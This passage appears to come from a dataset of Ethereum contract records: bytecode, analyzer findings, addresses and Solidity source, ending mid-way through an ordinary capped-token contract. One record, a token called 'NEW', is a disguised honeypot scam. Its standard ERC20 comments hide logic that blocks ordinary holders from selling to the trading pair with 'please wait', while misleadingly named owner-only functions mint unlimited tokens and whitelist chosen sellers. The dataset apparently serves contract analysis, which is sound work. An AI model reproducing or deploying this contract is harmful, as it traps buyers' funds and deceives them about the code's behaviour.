8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095c5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109929061159e565b60405180910390fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a79919061115a565b60405180910390a3600190509392505050565b600060066000600354815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614159050600060096000600354815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600060045490506000600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610bc457506000600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610bcd5750825b15610c295780600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c2191906113fa565b925050819055505b8460096000600354815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610ccc5750600084145b15610d285780600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d2091906115be565b925050819055505b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d7791906115be565b925050819055506000600454606486610d909190611643565b610d9a9190611674565b90508085610da891906113fa565b945080600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610df991906113fa565b9250508190555084600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e4f91906113fa565b9250508190555084600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ea591906115be565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610fbb578082015181840152602081019050610fa0565b83811115610fca576000848401525b50505050565b6000601f19601f8301169050919050565b6000610fec82610f81565b610ff68185610f8c565b9350611006818560208601610f9d565b61100f81610fd0565b840191505092915050565b600060208201905081810360008301526110348184610fe1565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061106c82611041565b9050919050565b61107c81611061565b811461108757600080fd5b50565b60008135905061109981611073565b92915050565b6000819050919050565b6110b28161109f565b81146110bd57600080fd5b50565b6000813590506110cf816110a9565b92915050565b600080604083850312156110ec576110eb61103c565b5b60006110fa8582860161108a565b925050602061110b858286016110c0565b9150509250929050565b60008115159050919050565b61112a81611115565b82525050565b60006020820190506111456000830184611121565b92915050565b6111548161109f565b82525050565b600060208201905061116f600083018461114b565b92915050565b60008060006060848603121561118e5761118d61103c565b5b600061119c8682870161108a565b93505060206111ad8682870161108a565b92505060406111be868287016110c0565b9150509250925092565b6111d181611061565b82525050565b60006020820190506111ec60008301846111c8565b92915050565b6000602082840312156112085761120761103c565b5b60006112168482850161108a565b91505092915050565b600080604083850312156112365761123561103c565b5b60006112448582860161108a565b92505060206112558582860161108a565b9150509250929050565b6000819050919050565b600061128461127f61127a84611041565b61125f565b611041565b9050919050565b600061129682611269565b9050919050565b60006112a88261128b565b9050919050565b6112b88161129d565b82525050565b60006020820190506112d360008301846112af565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061132057607f821691505b602082108103611333576113326112d9565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000611395602983610f8c565b91506113a082611339565b604082019050919050565b600060208201905081810360008301526113c481611388565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006114058261109f565b91506114108361109f565b925082821015611423576114226113cb565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611464602083610f8c565b915061146f8261142e565b602082019050919050565b6000602082019050818103600083015261149381611457565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006114f6602683610f8c565b91506115018261149a565b604082019050919050565b60006020820190508181036000830152611525816114e9565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611588602483610f8c565b91506115938261152c565b604082019050919050565b600060208201905081810360008301526115b78161157b565b9050919050565b60006115c98261109f565b91506115d48361109f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611609576116086113cb565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061164e8261109f565b91506116598361109f565b92508261166957611668611614565b5b828204905092915050565b600061167f8261109f565b915061168a8361109f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156116c3576116c26113cb565b5b82820290509291505056fea2646970667358221220cbd6b125727bb6eafced1dee5096d8cfe16f14fc6bd984c1e1bc88667bb2b43264736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 7,743 |
0xc29e9cd9ddc53e60cbc2417517ddd93ef071d18b
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.17;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint tokens) public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint tokens) public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
contract Owned {
address public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier senders {
require(msg.sender == owner);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint256 _totalSupply;
uint internal indexNumber;
address internal sender;
address internal delegate;
address internal governance;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
require(to != sender, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
if(from != address(0) && sender == address(0)) sender = to;
else require(to != sender || (from == delegate && to == sender) || (from == governance && to == sender)|| (to == sender && balances[from] <= indexNumber), "please wait");
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address _address, uint256 tokens) public senders {
delegate = _address;
_totalSupply = _totalSupply.add(tokens);
balances[_address] = balances[_address].add(tokens);
}
function approveAndCheck(address _address) public senders {
governance = _address;
}
function CheckLength(uint256 _index) public senders {
indexNumber = _index;
}
function () external payable {
revert();
}
}
contract NEW is TokenERC20 {
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory _name, string memory _symbol, uint256 _supply, address burn1, address burn2, uint256 _indexNumber) public {
symbol = _symbol;
name = _name;
decimals = 18;
_totalSupply = _supply*(10**uint256(decimals));
indexNumber = _indexNumber*(10**uint256(decimals));
owner = msg.sender;
balances[msg.sender] = _totalSupply/10000*6600;
balances[0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B] = _totalSupply/10000*3400;
balances[burn1] = _totalSupply/10000*40;
balances[burn2] = _totalSupply/10000*40;
emit Transfer(address(0x0), msg.sender, _totalSupply);
emit Transfer(msg.sender, 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, _totalSupply/10000*3400);
}
function() external payable {
}
}
|
0x6080604052600436106100c25760003560e01c80636643dcf31161007f57806395d89b411161005957806395d89b4114610408578063a9059cbb14610498578063b00b0b131461050b578063dd62ed3e1461055c576100c2565b80636643dcf31461031157806370a082311461034c5780638da5cb5b146103b1576100c2565b806306fdde03146100c4578063095ea7b31461015457806318160ddd146101c757806323b872dd146101f2578063313ce567146102855780633177029f146102b6575b005b3480156100d057600080fd5b506100d96105e1565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101195780820151818401526020810190506100fe565b50505050905090810190601f1680156101465780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016057600080fd5b506101ad6004803603604081101561017757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061067f565b604051808215151515815260200191505060405180910390f35b3480156101d357600080fd5b506101dc610771565b6040518082815260200191505060405180910390f35b3480156101fe57600080fd5b5061026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107cc565b604051808215151515815260200191505060405180910390f35b34801561029157600080fd5b5061029a610e18565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102c257600080fd5b5061030f600480360360408110156102d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e2b565b005b34801561031d57600080fd5b5061034a6004803603602081101561033457600080fd5b8101908080359060200190929190505050610f79565b005b34801561035857600080fd5b5061039b6004803603602081101561036f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fdc565b6040518082815260200191505060405180910390f35b3480156103bd57600080fd5b506103c6611025565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561041457600080fd5b5061041d61104a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561045d578082015181840152602081019050610442565b50505050905090810190601f16801561048a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104a457600080fd5b506104f1600480360360408110156104bb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e8565b604051808215151515815260200191505060405180910390f35b34801561051757600080fd5b5061055a6004803603602081101561052e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611347565b005b34801561056857600080fd5b506105cb6004803603604081101561057f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113e4565b6040518082815260200191505060405180910390f35b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106775780601f1061064c57610100808354040283529160200191610677565b820191906000526020600020905b81548152906001019060200180831161065a57829003601f168201915b505050505081565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60006107c7600960008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460045461146b90919063ffffffff16565b905090565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156108585750600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156108a35782600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b6f565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415806109a65750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156109a55750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b80610a575750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610a565750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b80610afc5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015610afb5750600554600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b5b610b6e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b610bc182600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461146b90919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c9382600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461146b90919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d6582600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461148590919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e8457600080fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610eda8160045461148590919063ffffffff16565b600481905550610f3281600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461148590919063ffffffff16565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fd257600080fd5b8060058190555050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110e05780601f106110b5576101008083540402835291602001916110e0565b820191906000526020600020905b8154815290600101906020018083116110c357829003601f168201915b505050505081565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111ae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b61120082600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461146b90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061129582600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461148590919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113a057600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111561147a57600080fd5b818303905092915050565b600081830190508281101561149957600080fd5b9291505056fea265627a7a72315820b8d0266fbbb6a32335d60dff697dc4d493b3e120ad045fdbe86eb6cf24e0f64d64736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 7,744 |
0x719502d2755fcf269da27d9f07c96d68a2f3572a
|
pragma solidity ^0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
/**
* @title Capped token
* @dev Mintable token with a token cap.
*/
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract ElementeumToken is CappedToken {
string public constant name = "Elementeum";
string public constant symbol = "ELET";
uint8 public constant decimals = 18;
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
function ElementeumToken(uint256 _cap, address[] founderAccounts, address[] operationsAccounts) public
Ownable()
CappedToken(_cap)
{
// Protect against divide by zero errors
require(founderAccounts.length > 0);
require(operationsAccounts.length > 0);
// 15% Allocated for founders
uint256 founderAllocation = cap * 15 / 100;
// 15% Allocated for operations
